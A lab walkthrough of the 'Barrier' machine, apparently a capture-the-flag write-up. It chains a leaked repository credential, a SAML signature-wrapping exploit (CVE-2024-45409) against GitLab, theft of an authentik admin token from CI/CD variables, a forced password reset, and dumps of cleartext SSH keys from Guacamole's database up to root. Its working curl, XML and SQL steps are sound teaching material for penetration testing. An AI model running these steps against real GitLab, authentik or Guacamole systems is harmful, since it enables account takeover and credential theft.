FILE 003 · Initial access
Barrier
A credential in a public repo becomes GitLab admin via a SAML signature-wrapping bug, CI/CD variables hand back the IdP token, and Guacamole stores its backend credentials in cleartext. Root was typed into bash history.
- leaked repo credential
- CVE-2024-45409 SAML XSW
- admin PAT to CI/CD variables
- authentik set_password
- Guacamole stored creds
- bash history password
Difficulty: Medium · OS: Linux
Barrier stacks three trust layers on one host and then lets each one betray the next. A public repo leaks a throwaway credential. A SAML signature-wrapping bug turns that credential into the GitLab admin. GitLab’s CI/CD variables hold the token for the identity provider that authenticates GitLab, which is backwards, and that token unlocks a Guacamole gateway that stores every backend credential in cleartext. Root is a password somebody typed one line too late.
Reconnaissance
Nmap Scan
# kali
nmap -sCV -p- --min-rate=1000 -oN nmap/full.txt 10.10.11.xxx
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp open http nginx (redirects to https://gitlab.barrier.vl)
443/tcp open ssl/http nginx, GitLab Community Edition 17.3.2
8080/tcp open http Apache Tomcat (Guacamole)
9000/tcp open http authentik (HTTP)
9443/tcp open ssl/http authentik (HTTPS)
The TLS certificates give up gitlab.barrier.vl and barrier.vl:
# kali
echo "10.10.11.xxx barrier.vl gitlab.barrier.vl" | sudo tee -a /etc/hosts
Three layers on one box: GitLab 17.3.2 as the source platform configured for SAML SSO, authentik 2024.10.x as the IdP (its version is in the self-signed cert subject), and Apache Guacamole on Tomcat as a clientless RDP/SSH/VNC gateway.
Web Enumeration
GitLab allows self-registration. After signing up there is exactly one visible project, satoru/gitconnect, public, two commits. Its only file demonstrates an OAuth password grant and hardcodes the credential it demonstrates it with:
auth_data = {
'grant_type': 'password',
'username': 'satoru',
'password': 'dGJ2V72SUEMsM3Ca'
}
satoru:dGJ2V72SUEMsM3Ca logs into GitLab but gets nothing extra, and SSH refuses it. It is not the foothold, it is the input to the next gate.
Initial Foothold: CVE-2024-45409 (SAML signature wrapping)
CVE-2024-45409 is an XML signature wrapping flaw in ruby-saml and the python-xmlsec build shipped with affected authentik versions. The verifier accepts a signed response if any element in the document validates against the signature, even when the asserted identity lives in a different, unsigned, attacker-controlled element. So anyone who can authenticate as one user can restage the response to assert any other user, and the service provider takes it. Advisory: GHSA-jw9c-mfg7-9rx2.
The whole chain is reproducible by hand in Burp Repeater:
GET https://gitlab.barrier.vl/users/auth/samlissues the AuthnRequest and bounces to authentik.- Walk authentik’s flow executor at
/api/v3/flows/executor/default-authentication-flow/withsatoru:dGJ2V72SUEMsM3Ca. On a fresh machine the first SSO throws a one-time consent screen, so click through it once in a browser before scripting anything or the flow just returnsak-stage-flow-error. - Capture the signed
<samlp:Response>that auto-POSTs to/users/auth/saml/callbackand base64-decode it. - Clone the signed
<saml:Assertion>, set the<saml:NameID>in the clone toakadmin, and nest them so the signature still references the original, now shadowed, assertion:
<samlp:Response>
<saml:Assertion> <!-- attacker-controlled wrapper -->
<saml:Subject><saml:NameID>akadmin</saml:NameID></saml:Subject>
<saml:Assertion> <!-- original, signed -->
<ds:Signature>...</ds:Signature>
<saml:Subject><saml:NameID>satoru</saml:NameID></saml:Subject>
</saml:Assertion>
</saml:Assertion>
</samlp:Response>
- Re-encode and POST to
https://gitlab.barrier.vl/users/auth/saml/callbackwith the originalRelayState. GitLab checks the signature against the inner assertion, readsNameIDoff the outer one, and issues a_gitlab_sessionforakadmin.
# kali
SESS="<_gitlab_session value>"
curl -sk -b "_gitlab_session=$SESS" https://gitlab.barrier.vl/api/v4/user | jq
# => { "id": 1, "username": "akadmin", "is_admin": true, "email": "admin@barrier.vl" }
A session cookie expires and a Personal Access Token does not, so the next move is minting one. There is a quirk here worth remembering: the documented admin endpoint POST /api/v4/users/:id/personal_access_tokens returns 401 for session auth, because it only accepts PAT auth. The web form route does accept the session, so scrape its CSRF token and post the form back.
# kali
CSRF=$(curl -sk -b "_gitlab_session=$SESS" \
https://gitlab.barrier.vl/-/user_settings/personal_access_tokens \
| grep -oP 'name="csrf-token"\s+content="\K[^"]+')
curl -sk -b "_gitlab_session=$SESS" \
-H "X-CSRF-Token: $CSRF" -H "Accept: application/json" \
--data-urlencode "personal_access_token[name]=pwn" \
--data-urlencode "personal_access_token[scopes][]=api" \
--data-urlencode "personal_access_token[scopes][]=sudo" \
--data-urlencode "personal_access_token[scopes][]=read_repository" \
--data-urlencode "personal_access_token[expires_at]=2026-12-31" \
-X POST https://gitlab.barrier.vl/-/user_settings/personal_access_tokens \
| jq -r .new_token
That returns a glpat- token good against every endpoint session auth could not reach, including the instance-level CI/CD variables. Protected variables are hidden from non-admins in the UI, but the admin API prints them:
# kali
curl -skH "PRIVATE-TOKEN: $PAT" https://gitlab.barrier.vl/api/v4/admin/ci/variables | jq
# => { "key": "AUTHENTIK_TOKEN",
# => "value": "MqL8GPTr7y4EDMWsp7gxb2YiKEzuNpLZ2QVia8HD4MLc93vgublgL5xQEvTc",
# => "protected": true }
A downstream system holding the upstream IdP’s admin token.
Lateral Movement: akadmin -> maki
# kali
T="MqL8GPTr7y4EDMWsp7gxb2YiKEzuNpLZ2QVia8HD4MLc93vgublgL5xQEvTc"
curl -sk -H "Authorization: Bearer $T" \
"https://barrier.vl:9443/api/v3/core/users/?page_size=100" \
| jq '.results[] | {pk, username, is_superuser}'
# => { "pk": 4, "username": "akadmin", "is_superuser": true }
# => { "pk": 34, "username": "satoru", "is_superuser": false }
# => { "pk": 35, "username": "maki", "is_superuser": false }
maki has not appeared anywhere so far. Listing the SAML applications explains why she exists: GitLab, already taken, and Guacamole. Guacamole keeps the credentials it uses to reach backend SSH, RDP and VNC inside its own database, so it is a credential dispenser the moment SSO works.
authentik’s admin API has a set_password endpoint that does not ask for the current password, which is the entire point of an admin token:
# kali
curl -sk -H "Authorization: Bearer $T" -H 'Content-Type: application/json' \
-X POST https://barrier.vl:9443/api/v3/core/users/35/set_password/ \
-d '{"password":"Pwn3d!Pwn3d!Pwn3d!"}'
Sign in at https://barrier.vl:9443/ as maki, click the Guacamole tile, accept the one-time consent, and Guacamole opens with one connection. The same thing works headlessly: POST /guacamole/api/tokens with the username and password returns an authToken and dataSource, and GET /guacamole/api/session/data/$DS/connections/{id}/parameters?token=... dumps the lot.
Edit the connection, open the Parameters tab, and maki’s SSH private-key and username are sitting there in cleartext. The box’s host key is RSA-SHA1, which OpenSSH 8.8 and later refuse by default, so the algorithms have to be re-enabled explicitly:
# kali
chmod 600 id_rsa_maki
ssh -i id_rsa_maki \
-o HostKeyAlgorithms=+ssh-rsa \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
maki@barrier.vl
# target
cat ~/.local/share/user.txt
Lateral Movement: maki -> maki_adm
/etc/passwd has an OS account authentik never knew about:
root:x:0:0:root:/root:/bin/bash
local:x:1000:1000::/home/local:/bin/bash
maki:x:1001:1001:,,,:/home/maki:/bin/bash
maki_adm:x:1002:1002:,,,:/home/maki_adm:/bin/bash
<user>_adm is the standard ops convention for a privileged twin. sudo -l as maki gives nothing, so the way across is Guacamole’s data store rather than the host.
# target
cat /etc/guacamole/guacamole.properties
# => mysql-database: guac_db
# => mysql-username: guac_user
# => mysql-password: guac2024
Guacamole splits connections across guacamole_connection for metadata and guacamole_connection_parameter for one row per parameter, credentials included. Joining them enumerates everything stored, not just what my session was allowed to see:
# target
mysql -h 127.0.0.1 -u guac_user -pguac2024 guac_db -e "
SELECT c.connection_id, c.connection_name, c.protocol,
p.parameter_name, p.parameter_value
FROM guacamole_connection c
LEFT JOIN guacamole_connection_parameter p USING(connection_id)
ORDER BY c.connection_id, p.parameter_name;"
| 2 | Maki_Adm | ssh | hostname | localhost |
| 2 | Maki_Adm | ssh | passphrase | 3V32FN6oViMPxyzC |
| 2 | Maki_Adm | ssh | port | 22 |
| 2 | Maki_Adm | ssh | private-key | -----BEGIN RSA PRIVATE KEY----- |
| 2 | Maki_Adm | ssh | username | maki_adm |
The key is Proc-Type: 4,ENCRYPTED with DEK-Info: AES-128-CBC, and its passphrase is a cleartext parameter on the same connection. Encryption at rest means nothing when the passphrase is stored next to the blob.
# kali
ssh -i id_rsa_maki_adm \
-o HostKeyAlgorithms=+ssh-rsa \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
maki_adm@barrier.vl
# passphrase: 3V32FN6oViMPxyzC
Privilege Escalation: maki_adm -> root
maki_adm is only in the admin group, with no docker despite a docker socket being present, and sudo -l wants a password the SSH passphrase does not satisfy.
# target
cat ~/.bash_history
# => sudo su
# => Va4kSjgTHSd55ZLv
Somebody typed sudo su, then typed the password at the parent shell prompt instead of into the sudo prompt. Bash records prompt input whether or not it is a valid command, so the password is in history verbatim.
# target
sudo su
# [sudo] password for maki_adm: Va4kSjgTHSd55ZLv
id
# => uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
Flags
| Flag | Hash |
|---|---|
| User | <redacted> |
| Root | <redacted> |
Attack Path Summary
GitLab / authentik / Guacamole / SSH all on barrier.vl
→ public repo gitconnect.py → satoru:dGJ2V72SUEMsM3Ca
→ CVE-2024-45409 SAML XSW → forged akadmin _gitlab_session
→ web-form CSRF route → admin GitLab PAT (api+sudo)
→ /api/v4/admin/ci/variables → AUTHENTIK_TOKEN
→ authentik set_password → reset maki → SSO into Guacamole
→ stored connection parameters → maki SSH key → user.txt
→ guacamole.properties → MariaDB creds
→ guacamole_connection_parameter → maki_adm encrypted key
→ passphrase stored beside it in cleartext → SSH as maki_adm
→ ~/.bash_history holds the sudo password → sudo su → root.txt